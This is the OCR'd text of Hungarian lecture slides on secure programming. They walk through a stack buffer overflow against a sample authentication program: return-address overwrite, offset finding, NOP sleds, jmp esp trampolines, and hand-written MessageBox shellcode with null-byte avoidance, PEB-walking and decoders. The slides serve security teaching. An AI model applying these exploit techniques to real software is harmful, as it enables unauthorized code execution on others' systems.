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Section 1
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Bug és exploit

m Bug = sebezhetéség. Olyan programhiba, mely meglé-
te esetén néha a program nem a programozo altal elvéart
viselkedést mutatja.

m Exploit = sebezhetdség kihasznalasa. Olyan input (be-

olvasott adat, kérnyezeti valtozo, stb.) amellyel a tamado6
kihaszndlja a programban meglév6 sebezhetdséget.

1zs6 Tamas Biztonsagos programozas — Puffer tllcsorduladsos tamadasok/ 3



Tamadasok

Lehetséges tamadasok

EIP regiszter értékének a
kontrolalasa.

Vezérlés eltéritése

DoS (Denial of Service) szol-
galtatds blokkoldsos téama-
das.

Program vagy eszkéz tual-
terhelése vagy programhiba
okozta leallas.

Védett informéaci6 megszer-
zése.

Privat informacié kiszivarga-
sa (PI. a program a memoria-
ban 1évd informaciét nem tor-
li, és a swap fajlban ez meg-

talalhato.

1zs6 Tamas
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Tamadasok

Puffertulcsordulas

Fajtai:
m stack alapu (stack buffer overflow);
m heap alapu (heap buffer overflow);

Figyelem

stack buffer overflow # stack overflow

Egyik esetben csak a stack keretet vagy azon belll egy
terlletet irunk tal tgy, hogy megvaltoztatunk mas valtozék
értékeét is. A mésik esetben a stack hely fogy el, példaul
végtelen rekurzid esetén.
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Tamadasok

Példaprogramhoz tartoz6 stack szerkezete

21 int authenticate (char *username, char *password) {
22 int authenticated;

23 char buffer[1024]; 0
24 authenticated = verify_passwo: AT ESP
25 if (authenticated == 0) {
26 sprintf (buffer,
27 "password 1s incorrect : buffer
28 username) ;
29 log("%s", buffer); EBP
30 J ) Cim authenticated ‘
31 return authenticated;
mentett EBP ¢
32 }
visszatérési cim
username
password
main stack keret
Max
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Tamadasok

Példaprogram normal mikodése

0
[ buffer
. Cim 10000000 |4....cccc.... authenticated
s | authenticate.exe o

28 300 e mentett EBP

66694100 ... visszatérési cim

A8115800 |¢............ username

F8 115800 |4 password

main stack keret
Max

Program miikédése létezd user és megfeleld password esetén.
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Tamadasok

Példaprogram normal mikodése

0

"password is"

"incorrect fo"

"r user gipsz"

0a00...... D buffer

P Cim 00000000  fe..ooces authenticated
*\ authenticate.exe —
28 300 e mentett EBP
66694100 .. visszatérési cim
A8115800 .. username
F8 115800 |¢.oo. password
main stack keret
Max

Program miikédése nem létez6 user vagy rossz password esetén.
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Tamadasok

Példaprogram normal mikodése

> a.exe 992 A | authenticate.exe

password is incorrect for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Password : No!

992 karakter hosszu felhasznal6i név esetén a program helyes
eredményt ad. Mi van, ha egy karakterrel tébb a felhasznaloi
név?
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Tamadasok

Példaprogram normal mikodése

sy authenticate.exe | ©™"

Max

| "password is" |

"incorrect fo"
"r user AAA"

AAAAAAT [T buffer

"AA. - AA"

"AAAAA"Oa.

00 00 00 00 - authenticated
28FF 1300 |.. mentett EBP
66 69 41 00 - visszatérési cim
A8 115800 | ... username
F8115800 |4......... password

main stack keret

Program miik6dése nem létezd 992 hosszU user név esetén.
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Tamadasok

Példaprogram hibas mikddése

sy authenticate.exe | ©™"

993 darab

Max

| "passwordis" |

"incorrect fo"
"r user AAA"

AAAAAAT [T buffer

"AA. .. AA"

"AAAAAA"

0A 00 00 00 - authenticated
28FF 1300 |. mentett EBP
66 69 41 00 - visszatérési cim
A8115800 (... username
F8115800 |4......... password

main stack keret

Figyeljuk meg, hogy a program elfogadta az autentikaciot.
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Tamadasok

Példaprogram hibas mikddés

> a.exe 997 A | authenticate.exe

password is incorrect for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

A program elszallt. Miért?
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Tamadasok

Példaprogram hibas mikddés

0
"password is"
"incorrect fo"
"r user AAA"
PAAAAAAT [T buffer
"AA. - AA"
"AAAAAA"
f Cim AATATAT authenticated
*\ authenticate.exe
0A001300 |4............. mentett EBP
66 69 41 00 visszatérési cim
A8 1158 00 username
997 darab F8 115800 L password
\—> main stack keret
Max

Program miik6dése nem létezé 997 hosszU user név esetén.
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Tamadasok

Példaprogram hibas mikddés

> a.exe 997 A 4 B 4 C| authenticate.exe

password is incorrect for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Mi térténik az EBX és az EIP értékével?
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Tamadasok

Példaprogram hibas mikddés

==y authenticate.exe | ©™"

997 darab A

Max

"password is

"incorrect fo"

"r user AAA"

"AAAAAA" [T buifer

"AA. - AA"

"AAAAAA"

o I 3 B ) DU authenticated
42424242 ... mentett EBP
43434343 e visszatérési cim
0A005800 |......... username
F8115800 ... password

main stack keret

Atvettiik a programvezérlés iranyitasat!
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Tamadasok

Bevezetés a nyomkoveto hasznalataba (lusztracio!

cmd alak inditds (Far manager)

devenv inditéas

e:\debug> .\a.exe 1100 A | authenticate.exe
devenv tools —-> attach process —-> authenticate.exe
devenv file —> open —> file -> authenticate.c
breakpoint a getchar () utéan

e:\debug><enter>

devenv - a breakpoint-ndl a program megall
devenv - belépés a authenticate fiiggvénybe
devenv - lépegetés a return authenticated sorig
devenv - debug -> assembly ablak

devenv - fluggvény visszatérés kédja

00EE14C5 pop edi
00EE14C6 pop esi
00EE14C7 pop ebx
00EE14C8 mov esp,ebp
00EE14CA pop ebp

0OEE14CB ret
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Tamadasok

Regiszterértékek lekérdezése

Regiszterek értéke a return utan:

EAX 41414141 EBX 7F45D000 ECX B2A6D862 EDX = 10041428

ESI = 00EE1118 EDI = 00EE1118 EIP = 41414141 ESP = 00BAFD14

EBP = 41414141 EFL = 00000202

ESP altam mutatott memoéria

OX00BAFD10 4141414141414141414141414141414141  AAAAAAAAAAAAAAAAA
OX00BAFD21 4141414141414141414141414141414141  AAAAAAAAAAAAAAAAA
OX00BAFD32 4141414141414141414141414141414141  AAAAAAAAAAAAAAAAA
OXO0BAFD43  4141414141414141414141414141414141  AAAAAAAAAAAAAAAAA
0X00BAFD54 4141414141414141414141414141414141  AAAAAAAAAAAAAAAAA
OXO0BAFD65 41414141414141414141414141410A0019  AAAAAAAAAAAAAA...

Sajnos ha ezt latjuk, akkor a program nagy valdszinliséggel
sebezhetb.
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Tamadasok

Tamadas vakon avagy a tamadas koltsege [t

Anélkill, hogy visszafejtenénk a programot, hogyan talaljuk
meg milyen hosszu adat irja felll a visszatérési cimet.
Készitslink egy specialis mintat amibdl kikereshetjik a call
altal elmentett visszatérési cimet.

String forma:

A EXE 50 -p

AaQAalAa2Aa3Aad4AaShabha7’7Aa8Aa9Ab0AblAb2Ab3AbA42

Puffer tulcsordulast generald program :

A.EXE 20 A 5 X 5%Y
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Tamadasok

Visszateresi cim megallapitasa | (lusztracio!

e:\debug> .\a.exe 800 A 300 -p | .\authenticatsg

Regiszterek a visszatérés utan:

67413467 EBX = 7FO0A8000 ECX CAFEC86F
= OF651428 ESI = 00EE1118 EDI (010) o B
= 41376741 ESP = 0094F828 EBP = 36674135
00000212

Nézzik meg, hogy milyen értéket vett fel az EIP: 41376741
Ez a generalt minta egyik tagja, de hanyadik?
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Tamadasok

Visszatérési cim megallapitasa

display ESP-4

0x0094F824 41 67 37 41 67 38 41 67 39 Ag7Ag8Ag9
0x0094F82D 41 68 30 41 68 31 41 68 32 AhOAhlAh2
0x0094F836 41 68 33 41 68 34 41 68 35 Ah3Ah4AhS5
0x0094F83F 41 68 36 41 68 37 41 68 38 Ah6Ah7AhS8
0x0094F848 41 68 39 41 69 30 41 69 31 Ah9AiOAil
0x0094F851 41 69 32 41 69 33 41 69 34 Ai2Ai3Ai4

A legelsd elem megegyezik az EIP értékével, visszafele
olvasva. Little-Endian!

ASCII érték : "Ag7A"

Egy kis gondolkodassal ki lehet szamitani, hogy ez hanyadik
érték, vagy irjunk ra programot. (Szorgalmi HF)
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Tamadasok

Visszatérési cim megallapitasa Il

> pattern.exe -o 41673741
Az offset 201

800 + 201 —4 — 997 el6z6 EBP
800 + 201 —> 1001 viszatérési cim
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Tamadasok

Els6 shellcode elképzelés

Cim

Max

puffer

AAAA
AAAA
AAAA
AAAA
AAAA

AAAA

authenticate
mentett ESP

»
ARAA -

visszatérési cim

»
BBBB .-

»
shellcode cime

shellcode
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Tamadasok

Shellcode cimének a megallapitasa |.

Lefuttatjuk a jol ismert parancsunkat, és a program elszallasa
utan megnézziik a "CCCC" adatot tartalmazza visszatérési cim
utan kdvetkezd byte cimét.

debug> a.exe 997 A 4 B 4 C| authenticate.exe
start windbg

attach authenticate.exe

0:00> g

debug> <enter>
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Tamadasok

Shellcode cimének a megallapitasa Il.

0:00> d esp-16
4141414141414141 AAAAAAAA
4141414141414242 AAAAAABB
4242434343430a00 BBCCCC..
5100002£51002c11 Q../Q., .

Az eredmény : 0013eeca
Baj van !
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Tamadasok

Shellcode cimének a megallapitasa Il.

0:00> d esp-16
4141414141414141 AAAAAAAA
4141414141414242 AAAAAABB
4242434343430a00 BBCCCC..
5100002£51002c11 Q../Q., .

Az eredmény : 0013eeca

Baj van ! A cim 0 byte-ot tartalmaz! Ha a program a puffer
terlletre stringet var, akkor a 0x0 érték a string végét jelzi, és a
shellcode tovabbi része mar nem kertl beolvasasra.
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Windows memodria modell

0x00000000
Stack
Stack teteje
heap
0x00400000 .
Program image
PE header
text
.rdata
.data
Mas thread
heap vagy
stack
DLL,
DLL,
0x7FDF0000 PEB
0x7FFE0000
osztott memoéria
Ox7PPE1000 17 o hozzatérés
0x7FFFFFFF




Tamadasok

Unix memo&ria modell

Unix shellcode

Unix operéacids rendszeren a stack a memdria felsd
cimtartomanyaban van, ezért ott mikddik, ha a visszatérési
cimet felllirjuk a shellcode kezdécimével.

Figyelmeztetés

A shellcode abszolut cime fligghet a program futasi
kdrnyezetétdl, példaul a directory nevének a hosszatol, ha azt a
stack tartalmazza.
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Az én biztonsagi axiomam

f("

g

- _‘\\
r o]

A védekez6 nem.

A tamado szerencseés.
A tamado kreativ.



Tamadasok

Nop szankdpalya

... puffer
0 5
AAAA =
AAAA
z w vz sy 7 AAAA
Cimfliggbség enyhitése: AAAA
YT authenticate
A Nop utasitas nem csi- ARAA < | mentet ESP.
nal semmit. Mérete 1 byte, Cim :22: e
de mar vannak tébb byte-os Shelicods e
nop-ok is. Eredetileg 0x90 NOP
dekddolva az xchg eax,eax Moo Nop sz&nképéiya
utasitassal azonos. NOP
shellcode
Max
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Tamadasok

Még kreativabb megoldas

Keresslnk olyan regiszter, amely a shellcode kérnyékére
mutat. Az ESP jelenleg pont oda mutat.

Keressiink valahol a memériaban lévo DLL-ekben egy
jmp reg+displacement utasitast. A mi esetlinkben egy
jmp ESP-t kell keresni.

A visszatérési értéket irjuk at ezzel a cimmel.

Figyelmeztetés

Csak azokat a DLL-eket vehetjik szamitasba, amelyeket a
processz is hasznal.
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N EREINEER

Cim

DLL-ek
... puffer
authenticate
mentett ESP
visszatéési cim
jmp esp

aban egy jmpesp—————— |

cime

shellcode




Tamadasok

Keressilink jmp esp koédot windbg alatt. | (lusztracio!

Inditsuk el a programot, és a processzt attach-oljuk.

<enter>

prompt 0:01> Executable search path is:

ModLoad: 00ed0000 00eeb000 E:\Debugl\authenticate.exe

ModLoad: 779c0000 77b29000 C:\Windows\...\ntdll.dll

ModLoad: 75b20000 75c20000 C:\Windows\...\KERNEL32.DLL

ModLoad: 752e0000 753b9000 C:\Windows\...\KERNELBASE.dll

ModLoad: 0£9f0000 0fbl13000 C:\Windows\...\MSVCR90D.d1l1l

(48c.36c) : Break instruction exception - code 80000003
— first chance)

eax=7£fc3e000 ebx=00000000 ecx=77a66760
edx=77a66760 esi=77a66760 edi=77a66760
eip=77a2d1d0 esp=0053£f974 ebp=0053£9a0
iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 £s=003b
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Tamadasok

Keressiink jmp esp kddot windbg alatt. Il

gs=0000 ef1=00000246
ntdll!DbgBreakPoint:
77a2d1d0 cc int 3

0:001> a
77a2d1d0

jmp esp
77a2d1d2

0:001> u 77a2d1ldo0

ntdll!DbgBreakPoint:
77a2d1d0 ffed Jjmp esp
77a2d1d2 cc int 3
77a2d1d3 cc int 3
77a2d1d4 cc int 3

1zs6 Tamas Biztonsagos programozas — Puffer tllcsordulasos tAmadasok/ 32



Tamadasok

Keressiink jmp esp kodot windbg alatt. 1l

0:001> 1m mkernel32
start end module name
7c800000 7¢8£6000 kernel32 (deferred)

0:001> s -b 7c800000 7c8£6000 ff e4
7c86467b ff ed4 47 86 7c f£ff 15 58-15 80 7c 8d 85 38 fe ff
— |..X..]..8..

a.exe 997 A 4 B —a 7c86467b 4 nop 1 bp 4 nop 10 X |
— authenticate.exe
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Tamadasok

Keressink jmp esp kodot windbg alatt.

004114F5 pop edi
004114F6 pop esi
004114F7 pop ebx
004114F8 mov esp, ebp
004114FA pop ebp

004114FB ret

7C86467B Jjmp esp
7C86467D inc edi
7C86467E xchg bh,byte ptr [edit+edix8+15h]
7C864682 pop eax

0012FF00 nop
0012FF01 nop
0012FF02 nop
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Tamadasok

Keressiink jmp esp kodot windbg alatt. V

0012FF03
0012FF04
0012FFO05
0012FF06
0012FFO07

0012FF00
0012FF01
0012FF02
0012FF03
0012FF04
0012FF05
0012FF06
0012FF07

nop
int
nop
nop
nop

nop
nop
nop
nop
int
nop
nop
nop

1zs6 Tamas
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Tamadasok

C programtdl a shellcode-ig

Feladat:

irjunk shellcode-ot, amely egy lizenetablakot dob fel.
Shellcode-unk nem csinal semmi hasznosat, de ha ez mikodik,
akkor mas kriktikusabb Windows API fliggvényt is meg tudunk
hivni. A MessageBox fliggvényt a USER32.dll tartalmazza.
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Tamadasok

C program

Illusztracio!

#include <windows.h>

2

3 f#pragma comment (lib, "user32.1ib")
4

5 1int main(int argc, charxx argv)

6 |

7 MessageBox (NULL,

8 "Biztonsagos programozas kurzus",
9 "BME-HIT",

10 MB_OK) ;

11

12}
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Tamadasok

A program forditasa

Illusztracio!

> ¢l shellcodel.c
> dir shellcodel.exe

2015.08.15. 18:52 36 864 shellcodel.exe

Elég nagy! Nem csak a main() figgvényt, hanem a standard C
flggvényeket inicializalo rutinokat is tartalmaz.

dumpbin /disasm shellcodel.exe > bin.asm

Az bin.asm 9200 gépi utasitast tartalmaz.
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Tamadasok

Tomor kod keszites (lusztracio!

> ¢l /c shellcodel.c
> link /Entry:main shellcodel.obj
> dir shellcodel.exe
2015.08.15. 19:05 2 560 shellcodel.exe

igy mar baratsagosabb méret(i! Elinditva ugyantgy miikddik.

Figyelmeztetés

Vigyazz ez nem egy tisztességes kéd, pl. hianyzik az
ExitProcess(). Kényvtari flggvények hasznalata esetén ezt
nem lehet megcsinalni!
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Tamadasok

A kod

> dumpbin

00401000:
00401001:
00401003:
00401005:
0040100A:
0040100F:
00401011:
00401017:
00401019:
0040101A:

Illusztracio!

/disasm shellcodel.exe
File Type: EXECUTABLE IMAGE

55
8BEC
6A00

push
mov
push

6800304000 push
6808304000 push

6A00 push
FF1500204000 call
33co Xor
5D PopP
C3 ret

ebp

ebp, esp

0

403000h

403008h

0

dword ptr ds:[00402000h]
eax, eax

ebp

Mostmar tényleg csak a MessageBox fliggvény hivasat

tartalmazza.
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Tamadasok

MessageBox paraméterezése (lusztracio!

1 int MessageBox (

2 HWND hWnd,

3 LPCTSTR lpText,

4 LPCTSTR lpCaption,
5 UINT uType

6
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Tamadasok

A program adat szegmense

Illusztracio!

> dumpbin /Section:.data /RAWDATA shellcodel.exe
SECTION HEADER #3

.data

27

3000

200

800

0

0

0

0
c0000040

RAW DATA

name

virtual size

virtual address (00403000 to 00403026)
size of raw data

file pointer to raw data (00000800 to 0O0O0O0OOFF)
file pointer to relocation table

file pointer to line numbers

number of relocations

number of line numbers

flags

Initialized Data

Read Write

#3

00403000: 424D452D4849540042697A746F6E7361 BME-HIT.Biztonsa
00403010: 676F732070726F6772616D6F7A617320 gos programozas
00403020: 6B75727A757300 kurzus.
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Tamadasok

MessageBox meghivasa

push
push
push
push
call

0 ;
403000h ;
403008h ;
0

dword ptr

Illusztracio!

uType

LpCaption "BME-HIT"

lpText "Biztonsagos ..."
ds:[00402000h] ;MessageBox
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Tamadasok

A csak olvashat6 adat section

Illusztracio!

> dumpbin /Section:.rdata /RAWDATA shellcode.exe

SECTION HEADER #2

.rdata
52

2000

200

600

0

0
40000040

RAW DATA

name

virtual size

virtual address (00402000 to 00402051)

size of raw data

file pointer to raw data (00000600 to 000OO7FF)
number of relocations

number of line numbers

flags : Initialized Data | Read Only

#2

00402000: 38200000000000003000000000000000 8 ...... 0o ......
00402010: 00000000462000000020000000000000 ....F ... ......
00402020: 00000000000000000000000000000000 ................
00402030: 3820000000000000F8014D6573736167 8 ...... ? .Messag
00402040: 65426F7841005553455233322E646C6C eBoxA.USER32.dl1
00402050: 0000
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Tamadasok

IAT (Import Address Table)

Illusztracio!

> dumpbin /Imports shellcodel.exe
Section contains the following imports:

USER32.d11
402000 Import Address Table
402030 Import Name Table
0 time date stamp
0 Index of first forwarder reference

1F8 MessageBoxA
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Hogyan tovabb?

Miért nem j6 a C program shellcode-nak ?

m A szdvegkonstansok kilén szegmensben, nem a kéd mel-
lett vannak.

m A szdveg 0 értékl byte-okat tartalmaz.
m A kod is tartalmaz 0 értékil byte-ot.

m A MessageBox cimét (call dword ptr ds:[00402000h]) a
loader oldja fel.
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C kod étirasa inline asm segitségével

m Nullak kiklszdbdlése:

Xor eax,eax ; eax <— 0
push eax ; Ha a stackre kell 0.

m Széveg elhelyezés a stacken.

A szdveget 4 karakterenként fel kell bontani (32biten 4 ka-
rakter fér el).

Ha a string hossza nem oszthat6 4-gyel, akkor ki kell egé-
sziteni példaul sz6kdzzel. (Kifinomultabb médszerek is
lehetnek.)

String végét lezaro 0 elhelyezése a stack-en (push eax) +
4-es karakter csoportok elhelyezése. A Little-Endian abra-
zolas miatt a byte-okat forditott sorrendben kell letenni.

push 20544948h " _TIH"

Utols6 karakter elmentése utan megjegyezzik a string kez-
décimét

mov esi,esp
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MessageBox fuggvény cimének a kikeresése

Debugger alatt kikeressik és beégeljik a shellcode-ba.

Figyelmeztetés

Nem stabil mert kiilénb6z6 Windows valtozatoknal vagy
servicepack-onként valtozhat.
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A shellcode

Illusztracio!

_asm {

xor eax,eax

push eax

; 424D452D48495420 "BME-HIT "

push  20544948h .

push  2D454D42h mov  edi,esp

mov esi, esp push  eax

; 6B75727A75732020 "kurzus " push  esi

push eax push edi

push  20207375h push eax

push  7A72756Bh mov ecx,7599B580h

;, 72616D6F7A617320 "ramozas " call ecx

; 676F732070726F67 "gos prog" add esp,30h

pUSh 2073617ah xor eax , eax

push 6F6D6172h }

push 676F7270h

push 20736F67h

; 42697A746F6E7361 "Biztonsa"

push 61736e6fh
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MessageBox fliggvény cimének a kikeresé usztracio!
DLL-ek bejarasa:

Thread Enviroment block tartalmazza a Program Enviroment Block cimét.

xor edx,edx ; edx <— 0
mov dl,30h ; edx <— 30h
mov  edx,dword ptr fs:[edx]

PEB tartalmazza a bet6ltéprogram szamara szilkséges adatokat (Loader-
Data).

mov edx,dword ptr [edx+0Ch]
a LoaderData tartalmazza az inicializalt modulok listajat.
mov  edx,dword ptr [edx+1Ch]
Egy listaelem tartalmazza a DLL nevét és a memdéridban az image kezdé

cimét.
mov esi,dword ptr [edx+20h] ,; DLL név
mov eax,dword ptr [edx+8] ; DLL memdria cime
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MessageBox fliggvény keresésének a kdd;

__asm {
xor edx,edx ; edx <— 0
mov dl,30h ; edx <— 30h
mov  edx,dword ptr fs:[edx]
mov  edx,dword ptr [edx+0Ch]
mov  edx,dword ptr [edx+1Ch]
dllkeres:
mov  eax,dword ptr [edx+8]
mov  esi,dword ptr [edx+20h]
mov  edx,dword ptr [edx]
cmp byte ptr [esi+08h],33h
jne dllkeres
mov  edi,eax
add edi,dword ptr [eax+3Ch]
mov  edx,dword ptr [edi+78h]
add edx,eax
mov  edi,dword ptr [edx+20h]
add edi, eax
xor  ebp,ebp

Illusztracio!

fuggvKeres:
mov  esi,dword ptr [edi+ebpx4]
add esi,eax
; esi = Point to function name
inc ebp
cmp dword ptr [esi],7373654Dh
jne fuggvKeres
cmp dword ptr [esi+7],41786f42h
jne fuggvKeres
mov  edi,dword ptr [edx+24h]
add edi,eax
mov  bp,word ptr [edi+ebpx2]
mov  edi,dword ptr [edx+1Ch]
add edi,eax
mov  ecx,dword ptr [edi+ebpx4—4]

add ecx, eax
; ecx contains function address

}
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Shellcode kotottségek

Shellcode hiba

Shellcode-unk nem miikodik, mivel nem csak a 0, hanem a
whitespace (Uj sor, tabulator, sz6kdz) karakterek sem
megengedettek.

Lehetséges megoldasok:
Kiszdboljik ki a tiltott karaktereket ugy, mint ahogy a 0
érték esetén tettik.
m Konstans értékek esetén:

mov  edx, adat1
sub  edx,adat2
adat1 és adat2 byte-jai nem tartalmaznak whitespace-t, de
az dsszegik igen.
m Rossz értékil utasitaskdd esetén mas utasitast kell keresni.
Készitslink egy dekddert, ami a kédolt shellscript progra-
mot visszaalakitja.
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Dekdder problémak

Tiltott karakterek

A dekodernek sem szabad 0 vagy whitespace (0] sor, tabulator,
sz0kdz) karaktereket tartalmazni.

Akkor mit nyertink vele?

m Kevesebb utasitasbdl all mint egy igazi shellcode, ezért
kevesebb kritikus helyet kell kézzel hangolgatni.

m Egyszer kell elkésziteni, és az 6sszes shellcode-hoz j6
lesz. (Vannak letdlthetd shellcode kddolok, pl. a Metasplo-
it).
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Egy probléma a sok k6zul |

Honnan tudjuk a dekoder utan kévetkez6 shellcode cimét?

m Lekérdezzik az EIP értékét
m Hozzaadjuk a dekdder hosszat

Hianyzé utasitas

m Az EIP-vel nem lehet kdzvetlenil adatokat cimezni.
m Nincs mov reg32,eip utasitas.

probalkozas:

00401003: E8 00 00 00 00 call getip:
00401008: 58 getip: pop eax

Nem j6, mert 0 van a kédban.
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Egy probléma a sok kézdl i

probalkozas:

00401003: E8 00 00 00 00 call $+5
00401008: 58 pop eax

Nem jo, mert 0 van a kddban. A $+5 értéke az aktualis
utasitashoz képest 5 byte-tal tavolabbi cimet jelenti. A
call $+5 5 byte-os utasitas. Miért van akkor az utasitas-
ban 07
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Egy probléma a sok kdzul Il

probalkozas:

00401004: E8 FF FF FF FF call $+4
00401009: C3 ret
0040100A: 59 pop ecx

Ez mikodik de nagyon triikkds. A call $+4 a call utolsé
byte-at hivja meg. Az kiegészul a C3 értékkel, az FFC3 az
inc ebx utasitas kodja. Itt miért lett a call $+4 utasitas-
ban az offset -1?
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Egy probléma a sok kézul 1V

probalkozas: Talan a legszebb megoldéas, és semmi trik-

kdzés.

00401004: EBO3 jmp  tovabb
00401006: 5E getip: pop esi
00401007: FFE6 jmp esi

00401009: E8F8FFFFF tovabb: call getip

A call getip elmenti a kdvetkez6 utasitas cimét. A
pop esi utan e keresett cimet az esi regiszter tartalmaz-
za. A jmp esi-vel a decoder kezdetére Iépiink.
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Unicode string

Unicode esetén a konzolon beirt karakterek konvertalédnak.
Példaul az "A" betli 0x0041 értékli lesz. A 128 alatti értékkel
rendelkez6 karakterekre ez a szabaly, de 128 felett fligg a
kodlap beallitasatol.

Ervénytelen karakterek tdmege

m 0x90909090 nop szankopdlya érvénytelen.
m teszthez felhasznal "AAAA" sorozat érvénytelen.
m utasitasok z6me nem érvényes unicode karakter.

Sokaig azt hitték, hogy Unicode string esetén nem lehet
puffer-talcsordulasos tdAmadast intézni, de ...
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Unicode string miatt érvényes utasitasok |

Hasznalhaté utasitasok:
m Egy bajtos utasitasok:

XCHG r32,r32
POP r32
PUSH r32

B mov utasitas
m Teljesen hasznalhato6:

8800 mov [eax], al
8900 mov [eax],eax
8A00 mov al ,[eax]
8B00 mov eax,[eax]

Illusztracio!
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Unicode string miatt érvényes utasitasok |l

m Részben hasznalhaté:

A10077007?7?
A20077007?7?
A30077007?7?

m pszeudd nop:

C600?7?
006E00
006F00
007000
007100
007200
007300

mov
add
add
add
add
add
add

byte
byte
byte
byte
byte
byte
byte

mov eax,[0x??7007700]
mov [0x??700??700], al
mov [0x??700?700], eax

[eax],0x??

ptr [esi],ch
ptr [edi],ch
ptr [eax],dh
ptr [ecx],dh
ptr [edx],dh
ptr [ebx],dh
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Unicode string miatt érvényes utasitasok

m add utasitas:

00  add [r32], r8
00 add r8,r8

B Xor utasitas:
35007?00?? xor eax,0x??00?700
m push utasitas:

6A00 push dword 0x00000000
6800770077  push dword 0x??007700
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Technikak |

Illusztracio!

m Tetszbleges érték eldallitasa:

mov eax,0xAA003400
push eax

dec esp

pop eax , EAX
add eax,0x12005600
mov al ,0x0

mov ecx,0xAA007800
add al ,ch

; finally : EAX = 0x12345678

, EAX = 0xAA003400

0x00340077?
; EAX = 0x12345677
; EAX = 0x12345600
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Technikak I

Illusztracio!

m Egymas kdvetd 1 byte-os utasitasok kdzé pszeudd nop

illesztés:

0012f2c0 4c dec esp

0012f2c1 006e00 add byte ptr [esi],ch
0012f2c4 58 pop eax

Unicode-os shellscriptet irni ma mar gyerekjaték

Internetrdl letdlthetd unicode shellcode-ot el6allité programok
léteznek.

Irodalom : Phrack Inc, Building 1A32 "Unicode-Proof’
Shellcodes.
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Sajat dekdder |

Kévetelmeények:
m Ascii karaktereket olvasunk és nem unicode-ost.
m Ne tartalmazzon 0 és whitespace karaktereket.

m Dekdder elvét szeretnénk megmutatni, ezért legyen egy-
szer(l.

Kdédold elve: egy tetszbleges byte-b6l 0xAB (ahol A és B
hexadecimalis szamjegy) allitsa el6 a 0x4A,0x4B szamokat.

Dekodol6 elve: 0x4A,0x4B — OxAB.
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Dekddol6 kédja

_asm {
jmp short run
geteip:
pop esi
jmp esi
run:
call geteip
decoder:
add esi,0Ox1d
mov edi,esi
XOr ecx,ecx
mov cl ,48 ;len

cikl:
mov
shl
inc
mov
and
add
mov
inc
inc
dec
jnz

shellcode :

Illusztracio!

al, byte ptr [esi]
al ,4

esi

bl, byte ptr [esi]
bl,0x0f

al , bl

byte ptr[edi], al
edi

esi

ecx

cikl
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Dekodderes linuxos shellcode szerkezete

Cim

Max

&

authenticate

AAAA

AAAA

mentett ESP

» -
AAAA

visszatéési cim

SRS
BBBB .-

»
shellcode cime

NOP

NOP

NOP

Nop szankoépalya

NOP

decoder

shellcode
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